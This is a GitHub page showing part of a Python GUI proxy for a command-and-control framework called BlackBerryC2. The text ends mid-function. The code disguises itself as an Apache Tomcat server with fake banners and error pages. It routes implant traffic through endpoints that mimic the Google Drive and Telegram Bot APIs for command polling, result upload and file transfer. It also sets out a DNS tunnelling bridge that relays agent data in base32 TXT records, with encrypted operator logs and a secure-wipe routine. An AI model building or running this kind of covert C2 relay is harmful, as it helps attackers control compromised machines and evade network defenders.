-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathBlackBerryHTTPs_TLSProxyGUI.py
More file actions
executable file
·4982 lines (4252 loc) · 200 KB
/
Copy pathBlackBerryHTTPs_TLSProxyGUI.py
File metadata and controls
executable file
·4982 lines (4252 loc) · 200 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
# BlackBerry Proxy GUI v5.3 — TLS · HTTP/S · DNS Bridge
import tkinter as tk
from tkinter import ttk, scrolledtext, messagebox, filedialog
import threading
import logging
import ssl
import socket
import time
import select
from pathlib import Path
from collections import defaultdict, deque
import os
import hashlib
import errno
import json
import secrets
import base64
from queue import Queue, Empty
from http.server import HTTPServer, BaseHTTPRequestHandler
try:
from bb_profiles import (
get_active_profile, set_active_profile, get_active_profile_id,
list_profiles, load_profile, save_profile, delete_profile,
profile_endpoints_for_proxy, TrafficProfile
)
_PROFILES_AVAILABLE = True
except ImportError:
_PROFILES_AVAILABLE = False
def get_active_profile(): return None
def get_active_profile_id(): return "gdrive"
def list_profiles(): return {"default": "Default"}
def set_active_profile(pid): return None
def load_profile(pid): raise ValueError("bb_profiles.py no encontrado")
def save_profile(pid, d): return ""
def profile_endpoints_for_proxy(p): return []
from socketserver import ThreadingMixIn
from urllib.parse import urlparse
import struct
import random
from datetime import datetime
import uuid
from colores import *
try:
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.hazmat.primitives import hashes as _crypto_hashes
_CRYPTO_AVAILABLE = True
except ImportError:
_CRYPTO_AVAILABLE = False
try:
import dnslib as _dnslib
DNSLIB_AVAILABLE = True
except ImportError:
DNSLIB_AVAILABLE = False
# ============ SILENCIAR LOGS EXTERNOS ============
import warnings
warnings.filterwarnings('ignore')
# Silenciar logs de módulos ruidosos
import logging
logging.getLogger('asyncio').setLevel(logging.CRITICAL)
logging.getLogger('urllib3').setLevel(logging.CRITICAL)
logging.getLogger('PIL').setLevel(logging.CRITICAL)
logging.getLogger('matplotlib').setLevel(logging.CRITICAL)
logging.getLogger('tornado').setLevel(logging.CRITICAL)
BaseHTTPRequestHandler.version_string = lambda self: "Apache Tomcat/10.1.50"
# ============ APACHE TOMCAT SIMULATION ============
TOMCAT_VERSION = "Apache Tomcat/10.1.50"
TOMCAT_SERVER_HEADER = "Apache-Coyote/1.1"
# Páginas HTML típicas de Tomcat
TOMCAT_404_PAGE = """<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Apache Tomcat/10.1.50 - Error report</title>
<style type="text/css">h1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} h2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} h3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} body {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} b {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} p {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;} a {color:black;} a.name {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style>
</head>
<body>
<h1>HTTP Status 404 – Not Found</h1>
<hr class="line" />
<p><b>Type</b> Status Report</p>
<p><b>Description</b> The origin server did not find a current representation for the target resource or is not willing to disclose that one exists.</p>
<hr class="line" />
<h3>Apache Tomcat/10.1.50</h3>
</body>
</html>"""
TOMCAT_MANAGER_401_PAGE = """<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Apache Tomcat/10.1.50 - Error report</title>
<style type="text/css">h1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} h2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} h3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} body {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} b {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} p {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;} a {color:black;} a.name {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style>
</head>
<body>
<h1>HTTP Status 401 – Unauthorized</h1>
<hr class="line" />
<p><b>Type</b> Status Report</p>
<p><b>Message</b> Unauthorized</p>
<p><b>Description</b> The request has not been applied because it lacks valid authentication credentials for the target resource.</p>
<hr class="line" />
<h3>Apache Tomcat/10.1.50</h3>
</body>
</html>"""
TOMCAT_ROOT_PAGE = """<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Apache Tomcat/10.1.50</title>
<style type="text/css">
body {font-family: Arial, sans-serif;background-color: #F8F8F8;}
h1 {color: #525D76;font-size: 1.8em;padding: 10px 0;border-bottom: 2px solid #525D76;}
.content {margin: 20px;background: white;padding: 20px;border: 1px solid #ddd;border-radius: 5px;}
a {color: #525D76;text-decoration: none;}
a:hover {text-decoration: underline;}
</style>
</head>
<body>
<div class="content">
<h1>Apache Tomcat/10.1.50</h1>
<p>If you're seeing this, you've successfully installed Tomcat. Congratulations!</p>
<ul>
<li><a href="/docs/">Documentation</a></li>
<li><a href="/manager/html">Manager App</a></li>
<li><a href="/host-manager/html">Host Manager</a></li>
</ul>
</div>
</body>
</html>"""
# ============ CONFIGURACIÓN GLOBAL ============
DEFAULT_LISTEN_HOST = '0.0.0.0'
DEFAULT_LISTEN_PORT_TLS = 9948
DEFAULT_LISTEN_PORT_HTTP = 8443
DEFAULT_TARGET_HOST = '127.0.0.1'
DEFAULT_TARGET_PORT = 9949
script_dir = os.path.dirname(os.path.abspath(__file__))
DEFAULT_CERTFILE = f'{script_dir}/cert/BlackBerryC2_Proxy.crt'
DEFAULT_KEYFILE = f'{script_dir}/cert/BlackBerryC2_Proxy.key'
DEFAULT_ICON = f'{script_dir}/icon/server.ico'
BLACKLIST_FILE = f'{script_dir}/blacklist_ips.json'
BUFFER_SIZE = 8192
# Configuración anti-DoS
MAX_ACTIVE_IPS = 50
MAX_CONN_PER_SEC = 20
MAX_CONN_PER_IP = 50
BLACKLIST_DURATION = 7200
RATE_LIMIT_WINDOW = 60
# Protecciones anti-slowhttptest
HTTP_HEADER_TIMEOUT = 60
HTTP_BODY_TIMEOUT = 3600
HTTP_MIN_SPEED = 1
HTTP_MAX_HEADER_SIZE = 16384
TLS_HANDSHAKE_TIMEOUT = 60
CONNECTION_IDLE_TIMEOUT = 86400
HTTP_MAX_REQUESTS_PER_MINUTE = 120
# Keep-alive
HTTP_KEEPALIVE_TIMEOUT = None # Infinito
HTTP_SESSION_CLEANUP_INTERVAL = 120
KEEPALIVE_TIME = 60
KEEPALIVE_INTVL = 10
KEEPALIVE_PROBES = 3
# Long-polling
LONG_POLL_TIMEOUT = 30 # Mantener conexión abierta hasta 30s
LONG_POLL_CHECK_INTERVAL = 0.5 # Verificar backend cada 0.5s
# Logs
LOG_PROXY_FILE = f'{script_dir}/logs/BlackBerryC2_ProxyGUI.log'
LOG_PROXY_ENC_FILE = f'{script_dir}/logs/BlackBerryC2_ProxyGUI_enc.log'
LOG_SERVER_FILE = f'{script_dir}/logs/BlackBerryC2_Server.log'
LOG_SERVER_ENC_FILE = f'{script_dir}/logs/BlackBerryC2_Server_enc.log'
LOG_DNS_ENC_FILE = os.path.join(script_dir, "logs", "BlackBerryC2_DNS_enc.log")
TRAFFIC_LOG_FILE = f'{script_dir}/logs/proxytrafficmonitor.log'
_PROXY_SALT_PATH = f'{script_dir}/logs/proxy.salt'
_SERVER_SALT_PATH = f'{script_dir}/logs/server.salt'
_DNS_SALT_PATH = os.path.join(script_dir, "logs", "dns.salt")
# ── Estado de cifrado del log ─────────────────────────────────────────────
_PROXY_LOG_KEY: bytes | None = None # None = sin passphrase / sin cifrado
_SERVER_LOG_KEY: bytes | None = None # clave AES-256-GCM para logs de servidor
_DNS_LOG_KEY: bytes | None = None # clave AES-256-GCM para logs DNS
def _derive_key(passphrase: str, salt: bytes | None = None):
"""Deriva clave AES-256 (PBKDF2, 600k iter, SHA-256). Genérica para todos los logs."""
if not _CRYPTO_AVAILABLE:
return None, salt
if salt is None:
salt = secrets.token_bytes(16)
kdf = PBKDF2HMAC(algorithm=_crypto_hashes.SHA256(), length=32,
salt=salt, iterations=600_000)
return kdf.derive(passphrase.encode('utf-8')), salt
# Alias de compatibilidad
_derive_proxy_key = _derive_key
def _log_verify_key(key: bytes, enc_file: str) -> bool:
"""Verifica que la clave desencripta correctamente la primera línea de un log cifrado."""
if not os.path.isfile(enc_file):
return True
with open(enc_file, 'r', encoding='utf-8', errors='replace') as f:
for line in f:
line = line.strip()
if line:
try:
blob = base64.b64decode(line)
AESGCM(key).decrypt(blob[:12], blob[12:], None)
return True
except Exception:
return False
return True
def _proxy_log_verify_key(key: bytes) -> bool:
return _log_verify_key(key, LOG_PROXY_ENC_FILE)
def _decrypt_enc_log(enc_file: str, key: bytes | None) -> list[str]:
"""Lee y descifra un log cifrado AES-256-GCM. Genérico."""
out = []
if not os.path.isfile(enc_file):
return out
with open(enc_file, 'r', encoding='utf-8', errors='replace') as f:
for raw in f:
raw = raw.rstrip()
if not raw:
continue
if key:
try:
blob = base64.b64decode(raw)
plain = AESGCM(key).decrypt(blob[:12], blob[12:], None)
out.append(plain.decode('utf-8'))
except Exception:
out.append(f"[ERROR DESCIFRADO] {raw[:60]}…")
else:
out.append(raw)
return out
def _proxy_log_decrypt_lines(path: str) -> list[str]:
"""Lee y descifra el log del proxy."""
# Si hay clave usar el enc file, si no el plano
if _PROXY_LOG_KEY and os.path.isfile(LOG_PROXY_ENC_FILE):
return _decrypt_enc_log(LOG_PROXY_ENC_FILE, _PROXY_LOG_KEY)
return _decrypt_enc_log(path, None) if not _PROXY_LOG_KEY else []
class _EncryptedLogHandler(logging.Handler):
"""Handler que cifra cada línea con AES-256-GCM. Genérico para cualquier log."""
def __init__(self, enc_file: str, key_getter):
super().__init__()
self._enc_file = enc_file
self._key_getter = key_getter # callable → bytes | None
def emit(self, record):
key = self._key_getter()
if not key or not _CRYPTO_AVAILABLE:
return
try:
msg = self.format(record)
nonce = secrets.token_bytes(12)
cipher = AESGCM(key).encrypt(nonce, msg.encode('utf-8'), None)
line = base64.b64encode(nonce + cipher).decode('ascii')
with open(self._enc_file, 'a', encoding='utf-8') as f:
f.write(line + '\n')
except Exception:
pass
# ── Tareas válidas — no cambiar ────────────────────────────────────────────
VALID_TASKS = {"handshake", "polling", "upload", "download", "message", "file_transfer"}
def load_custom_endpoints() -> list[dict]:
"""Carga endpoints personalizados persistentes desde disco (con task)."""
try:
if os.path.isfile(ENDPOINTS_CUSTOM_FILE):
with open(ENDPOINTS_CUSTOM_FILE, 'r', encoding='utf-8') as f:
data = json.load(f)
result = []
for item in data:
if isinstance(item, dict) and 'path' in item:
task = item.get('task', 'message')
if task not in VALID_TASKS:
task = 'message'
result.append({
'path': str(item['path']),
'task': task,
'desc': str(item.get('desc', '')),
})
elif isinstance(item, str):
result.append({'path': item, 'task': 'message', 'desc': ''})
return result if result else HTTP_ENDPOINTS_BASE.copy()
except Exception:
pass
return HTTP_ENDPOINTS_BASE.copy()
def save_custom_endpoints(endpoints: list[dict]) -> bool:
"""Guarda endpoints personalizados en disco de forma persistente."""
try:
os.makedirs(os.path.dirname(ENDPOINTS_CUSTOM_FILE), exist_ok=True)
with open(ENDPOINTS_CUSTOM_FILE, 'w', encoding='utf-8') as f:
json.dump(endpoints, f, ensure_ascii=False, indent=2)
return True
except Exception:
return False
def _secure_delete(path: str) -> None:
"""Borrado irrecuperable: 3 pasadas aleatorias + 1 de ceros + fsync + unlink."""
try:
if not os.path.isfile(path):
return
size = os.path.getsize(path)
if size == 0:
os.remove(path)
return
with open(path, 'r+b') as f:
for _ in range(3):
f.seek(0)
rem = size
while rem > 0:
chunk = min(rem, 65536)
f.write(os.urandom(chunk))
rem -= chunk
f.flush(); os.fsync(f.fileno())
f.seek(0); f.write(b'\x00' * size)
f.flush(); os.fsync(f.fileno())
os.remove(path)
except Exception:
try: os.remove(path)
except Exception: pass
# HTTP Endpoints
# ── Tareas disponibles para endpoints (no cambiar los nombres de task) ────────
# handshake → Fase 1+2 ECDHE: intercambio de clave con el C2
# polling → Long-poll GET: el agente espera comandos
# upload → POST de resultados/datos del agente al servidor
# download → GET de archivos del servidor al agente
# message → POST de mensajes cifrados normales
# file_transfer→ Transferencia de archivos binarios
# Endpoints con descripción y tarea asignada
HTTP_ENDPOINTS_BASE = [
{"path": "/handshake", "task": "handshake", "desc": "Handshake ECDHE inicial — intercambio de clave con el C2"},
{"path": "/drive/v3/files", "task": "download", "desc": "Polling de comandos — simula API Google Drive (long-poll GET)"},
{"path": "/upload/drive/v3/files", "task": "upload", "desc": "Envío de resultados — simula subida a Google Drive (POST)"},
{"path": "/api/v1/sync", "task": "message", "desc": "Canal de mensajes normales — simula API REST genérica"},
{"path": "/content/upload", "task": "file_transfer", "desc": "Transferencia de archivos binarios — PUT/POST al servidor"},
{"path": "/bot/getUpdates", "task": "polling", "desc": "Heartbeat y polling — simula Telegram Bot API"},
]
ENDPOINTS_CUSTOM_FILE = os.path.join(script_dir, 'config', 'custom_endpoints.json')
HTTP_USER_AGENTS = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36"
]
# ─────────────────────────────────────────────────────────────────────────────
# DNS C2 BRIDGE — Puente PURO UDP/DNS ↔ TCP/C2-Backend
#
# Protocolo verificado contra BlackBerryC2_server.py:
#
# 1) C2 acepta TCP → envía banner SSH\r\n
# 2) Proxy envía raw: b"REQUEST_PUBKEY"
# 3) C2 envía raw: b"ECDH_PUBKEY:" + PEM_bytes
# 4) Proxy reenvía al agente DNS (base32 TXT)
# 5) Agente responde [4B len][PEM cliente][32B HMAC] (opcode h2)
# 6) Proxy envía ese raw al C2 por el mismo socket de h1
# 7) C2 NO responde (el proxy HTTP genera su propio "OK" — mismo aquí)
# 8) Proxy promueve socket a back_sock, arranca reader thread
# 9) dt: agente envía [4B len][cifrado] — proxy reenvía RAW (ya incluye framing)
# 10) po: proxy devuelve [4B len][cifrado] del reader, o WAIT
# 11) hb: proxy envía [4B 0] al back_sock (keepalive vacío) → HB_ACK al agente
#
# Formato qname:
# {op2}{cn:02x}{ct:02x}.{sid8}.{lbl1}[.lbl2][.lbl3].{domain}
# Opcodes: h1 h2 dt po hb
# ─────────────────────────────────────────────────────────────────────────────
_DNS_SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
DNS_DEFAULT_PORT = 53
DNS_DEFAULT_DOMAIN = "beacon.local"
DNS_LABEL_MAX = 56 # chars base32 por label (<63)
DNS_TXT_CHUNK = 200 # chars base32 por registro TXT de respuesta
DNS_FRAG_AGE = 120 # s → descartar fragmentos huérfanos
DNS_SESSION_TTL = 3600 # s → limpiar sesión inactiva
LOG_DNS_FILE = os.path.join(_DNS_SCRIPT_DIR, "logs", "BlackBerryC2_DNS.log")
# Estado global DNS
_dns_sessions: dict = {}
_dns_sessions_lock = threading.Lock()
_dns_srv_sock = None
_dns_alive: bool = False
_dns_log_q: Queue = Queue(maxsize=4096)
# Logger DNS
_dlog = logging.getLogger("BBDNS")
_dlog.setLevel(logging.DEBUG)
try:
os.makedirs(os.path.dirname(LOG_DNS_FILE), exist_ok=True)
_dlog_fh = logging.FileHandler(LOG_DNS_FILE, encoding="utf-8")
_dlog_fh.setFormatter(logging.Formatter("%(asctime)s [%(levelname)s] %(message)s"))
_dlog.addHandler(_dlog_fh)
except Exception:
pass
# Estructuras globales
active_connections = {}
http_sessions = {}
http_sessions_lock = threading.RLock()
connection_stats = defaultdict(lambda: {
'count': 0, 'last_conn': 0, 'bytes_sent': 0, 'bytes_recv': 0,
'tls_overhead': 0, 'http_overhead': 0, 'backend_bytes': 0
})
conn_times = defaultdict(lambda: deque(maxlen=100))
blacklist = {}
state_lock = threading.RLock()
# Monitor de tráfico
traffic_monitor_enabled = False
traffic_buffer = deque(maxlen=10000)
traffic_lock = threading.Lock()
# Verbose mode
PROXY_VERBOSE_MODE = 0
# Crear directorios necesarios
os.makedirs(f"{script_dir}/logs", exist_ok=True)
os.makedirs(f"{script_dir}/cert", exist_ok=True)
# ============ LOGGING MEJORADO ============
# Silenciar logs de módulos externos
import logging
logging.getLogger("asyncio").setLevel(logging.CRITICAL)
logging.getLogger("urllib3").setLevel(logging.CRITICAL)
logging.getLogger("PIL").setLevel(logging.CRITICAL)
# Logger para proxy
logger = logging.getLogger("ProxyLogger")
logger.setLevel(logging.DEBUG)
formatter = logging.Formatter('%(asctime)s [%(levelname)s] %(message)s')
file_handler = logging.FileHandler(LOG_PROXY_FILE, encoding='utf-8')
file_handler.setFormatter(formatter)
file_handler.setLevel(logging.DEBUG)
logger.addHandler(file_handler)
console_handler = None
# Handlers cifrados globales
_enc_proxy_handler: _EncryptedLogHandler | None = None
_enc_server_handler: _EncryptedLogHandler | None = None
_enc_dns_handler: _EncryptedLogHandler | None = None
# Alias para compatibilidad con código antiguo
_enc_log_handler = None
class _EncryptedProxyLogHandler:
pass
def _activate_encrypted_logs() -> None:
"""Activa cifrado AES-256-GCM en proxy, server y DNS logs simultáneamente."""
global _enc_proxy_handler, _enc_server_handler, _enc_dns_handler
# ── Proxy log ─────────────────────────────────────────────────────────────
for h in list(logger.handlers):
if isinstance(h, logging.FileHandler):
try: h.close()
except Exception: pass
logger.removeHandler(h)
if _enc_proxy_handler is None and _PROXY_LOG_KEY:
_enc_proxy_handler = _EncryptedLogHandler(LOG_PROXY_ENC_FILE, lambda: _PROXY_LOG_KEY)
_enc_proxy_handler.setFormatter(formatter)
_enc_proxy_handler.setLevel(logging.DEBUG)
logger.addHandler(_enc_proxy_handler)
# ── Server log ────────────────────────────────────────────────────────────
for h in list(server_logger.handlers):
if isinstance(h, logging.FileHandler):
try: h.close()
except Exception: pass
server_logger.removeHandler(h)
if _enc_server_handler is None and _SERVER_LOG_KEY:
_enc_server_handler = _EncryptedLogHandler(LOG_SERVER_ENC_FILE, lambda: _SERVER_LOG_KEY)
_enc_server_handler.setFormatter(formatter)
_enc_server_handler.setLevel(logging.INFO)
server_logger.addHandler(_enc_server_handler)
# ── DNS log ───────────────────────────────────────────────────────────────
for h in list(_dlog.handlers):
if isinstance(h, logging.FileHandler):
try: h.close()
except Exception: pass
_dlog.removeHandler(h)
if _enc_dns_handler is None and _DNS_LOG_KEY:
_enc_dns_handler = _EncryptedLogHandler(LOG_DNS_ENC_FILE, lambda: _DNS_LOG_KEY)
_enc_dns_handler.setFormatter(logging.Formatter("%(asctime)s [%(levelname)s] %(message)s"))
_enc_dns_handler.setLevel(logging.DEBUG)
_dlog.addHandler(_enc_dns_handler)
def _activate_encrypted_proxy_log() -> None:
"""Alias de compatibilidad — ahora activa todos los logs."""
_activate_encrypted_logs()
def set_proxy_verbose_mode(verbose_mode):
"""Configura el modo verbose del proxy."""
global PROXY_VERBOSE_MODE, console_handler
PROXY_VERBOSE_MODE = verbose_mode
if console_handler:
logger.removeHandler(console_handler)
console_handler = None
if verbose_mode == 0:
logger.debug("Modo SILENCIOSO activado - logs solo en archivo")
elif verbose_mode == 1:
console_handler = logging.StreamHandler()
console_handler.setLevel(logging.DEBUG)
console_handler.setFormatter(logging.Formatter('%(levelname)s - %(message)s'))
logger.addHandler(console_handler)
logger.debug("Modo DEBUG activado")
elif verbose_mode == 2:
console_handler = logging.StreamHandler()
console_handler.setLevel(logging.INFO)
console_handler.setFormatter(logging.Formatter('%(levelname)s - %(message)s'))
logger.addHandler(console_handler)
logger.debug("Modo VERBOSE activado")
# Logger para servidor
server_logger = logging.getLogger("ServerLogger")
server_logger.setLevel(logging.INFO)
server_handler = logging.FileHandler(LOG_SERVER_FILE, encoding='utf-8')
server_handler.setFormatter(formatter)
server_logger.addHandler(server_handler)
# Control global
proxy_running = False
server_socket_tls = None
server_socket_http = None
connection_pool = None
session_cleanup_thread = None
proxy_config = {
'mode': 'both',
'listen_host_tls': DEFAULT_LISTEN_HOST,
'listen_port_tls': DEFAULT_LISTEN_PORT_TLS,
'listen_host_http': DEFAULT_LISTEN_HOST,
'listen_port_http': DEFAULT_LISTEN_PORT_HTTP,
'target_host': DEFAULT_TARGET_HOST,
'target_port': DEFAULT_TARGET_PORT,
'certfile': DEFAULT_CERTFILE,
'keyfile': DEFAULT_KEYFILE,
'endpoints': [e['path'] for e in load_custom_endpoints()],
'endpoint_tasks': {e['path']: e.get('task', 'message') for e in load_custom_endpoints()},
'use_https': False,
'dns_enabled': False,
'dns_port': DNS_DEFAULT_PORT,
'dns_domain': DNS_DEFAULT_DOMAIN,
}
# ============ UTILIDADES ============
def load_blacklist():
"""Carga la blacklist desde archivo."""
try:
if os.path.exists(BLACKLIST_FILE):
with open(BLACKLIST_FILE, 'r', encoding='utf-8') as f:
data = json.load(f)
ips = data.get('blocked_ips', [])
logger.info(f"Blacklist cargada: {len(ips)} IPs")
return set(ips)
return set()
except Exception as e:
logger.error(f"Error cargando blacklist: {e}")
return set()
def save_blacklist(ips):
"""Guarda la blacklist en archivo."""
try:
data = {
'blocked_ips': list(ips),
'last_updated': time.time(),
'version': '1.0'
}
os.makedirs(os.path.dirname(BLACKLIST_FILE), exist_ok=True)
with open(BLACKLIST_FILE, 'w', encoding='utf-8') as f:
json.dump(data, f, indent=2)
logger.info(f"Blacklist guardada: {len(ips)} IPs")
return True
except Exception as e:
logger.error(f"Error guardando blacklist: {e}")
return False
def log_traffic(direction, proto, ip, data_hex, label=""):
"""Registra tráfico para el monitor."""
if not traffic_monitor_enabled:
return
timestamp = datetime.now().strftime('%H:%M:%S.%f')[:-3]
entry = {
'timestamp': timestamp,
'direction': direction,
'protocol': proto,
'ip': ip,
'hex': data_hex,
'label': label,
'size': len(data_hex) // 2
}
with traffic_lock:
traffic_buffer.append(entry)
def bytes_to_hex(data, max_bytes=256):
"""Convierte bytes a hexadecimal formateado."""
if len(data) > max_bytes:
data = data[:max_bytes]
hex_str = data.hex()
formatted = ' '.join(hex_str[i:i+32] for i in range(0, len(hex_str), 32))
return formatted
def format_bytes(bytes_count):
"""Formatea bytes a formato legible."""
for unit in ['B', 'KB', 'MB', 'GB', 'TB']:
if bytes_count < 1024.0:
return f"{bytes_count:.2f} {unit}"
bytes_count /= 1024.0
return f"{bytes_count:.2f} PB"
# ============ RATE LIMITER ============
class RateLimiter:
def __init__(self):
self.requests = defaultdict(lambda: deque())
self.lock = threading.Lock()
def is_allowed(self, ip):
now = time.time()
with self.lock:
times = self.requests[ip]
while times and now - times[0] > RATE_LIMIT_WINDOW:
times.popleft()
if len(times) >= HTTP_MAX_REQUESTS_PER_MINUTE:
logger.warning(f"Rate limit excedido para {ip}")
return False
times.append(now)
return True
def cleanup(self):
now = time.time()
with self.lock:
to_remove = []
for ip, times in self.requests.items():
while times and now - times[0] > RATE_LIMIT_WINDOW:
times.popleft()
if not times:
to_remove.append(ip)
for ip in to_remove:
del self.requests[ip]
# ============ CONNECTION TRACKER ============
class ConnectionTracker:
def __init__(self):
self.connections = defaultdict(set)
self.lock = threading.Lock()
def add(self, ip, conn_id):
with self.lock:
self.connections[ip].add(conn_id)
def remove(self, ip, conn_id):
with self.lock:
if ip in self.connections:
self.connections[ip].discard(conn_id)
if not self.connections[ip]:
del self.connections[ip]
def count(self, ip):
with self.lock:
return len(self.connections.get(ip, set()))
def is_allowed(self, ip):
count = self.count(ip)
if count >= MAX_CONN_PER_IP:
logger.warning(f"Máximo de conexiones alcanzado para {ip}: {count}")
return False
return True
# Instancias globales de protección
rate_limiter = RateLimiter()
connection_tracker = ConnectionTracker()
# ============ POOL DE CONEXIONES ============
class BackendConnectionPool:
"""Pool de conexiones al backend C2."""
def __init__(self, target_host, target_port, apply_socket_opts):
self.target_host = target_host
self.target_port = target_port
self.apply_socket_opts = apply_socket_opts
self.pool_lock = threading.Lock()
self.running = False
self.stats = {'total_created': 0, 'total_failed': 0}
def start(self):
self.running = True
logger.info(f"Pool iniciado: {self.target_host}:{self.target_port}")
def stop(self):
self.running = False
logger.info("Pool detenido")
def _create_connection(self):
"""Crea una nueva conexión al backend."""
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.apply_socket_opts(sock)
sock.settimeout(10.0)
sock.connect((self.target_host, self.target_port))
sock.settimeout(None)
if sock.fileno() <= 0:
logger.error("Socket creado con fileno inválido")
return None
self.stats['total_created'] += 1
logger.debug(f"Nueva conexión backend: fd={sock.fileno()}")
return sock
except Exception as e:
self.stats['total_failed'] += 1
logger.error(f"Error creando conexión backend: {e}")
return None
def get_connection(self):
"""Obtiene una conexión del pool."""
if not self.running:
return None
return self._create_connection()
def close_connection(self, conn):
"""Cierra una conexión de forma segura."""
if not conn:
return
try:
conn.shutdown(socket.SHUT_RDWR)
except:
pass
try:
conn.close()
except:
pass
# ============ FUNCIONES AUXILIARES ============
def apply_advanced_socket_options(sock):
"""Aplica opciones avanzadas al socket."""
try:
sock.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
if hasattr(socket, 'TCP_KEEPIDLE'):
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, KEEPALIVE_TIME)
if hasattr(socket, 'TCP_KEEPINTVL'):
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, KEEPALIVE_INTVL)
if hasattr(socket, 'TCP_KEEPCNT'):
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPCNT, KEEPALIVE_PROBES)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
except Exception as e:
